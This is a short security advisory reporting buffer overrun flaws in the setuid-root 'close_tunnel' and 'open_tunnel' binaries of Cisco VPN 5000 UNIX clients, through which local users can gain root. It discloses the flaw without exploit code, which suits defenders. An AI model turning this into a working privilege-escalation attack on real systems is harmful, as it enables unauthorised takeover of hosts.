Buffer overrun vulnerabilities have been reported in the Cisco VPN 5000 UNIX clients available for Linux and Solaris systems. The condition affects the binaries 'close_tunnel' and 'open_tunnel', both installed setuid root by default. Malicious local users may exploit these vulnerabilities to gain superuser privileges on the affected host.
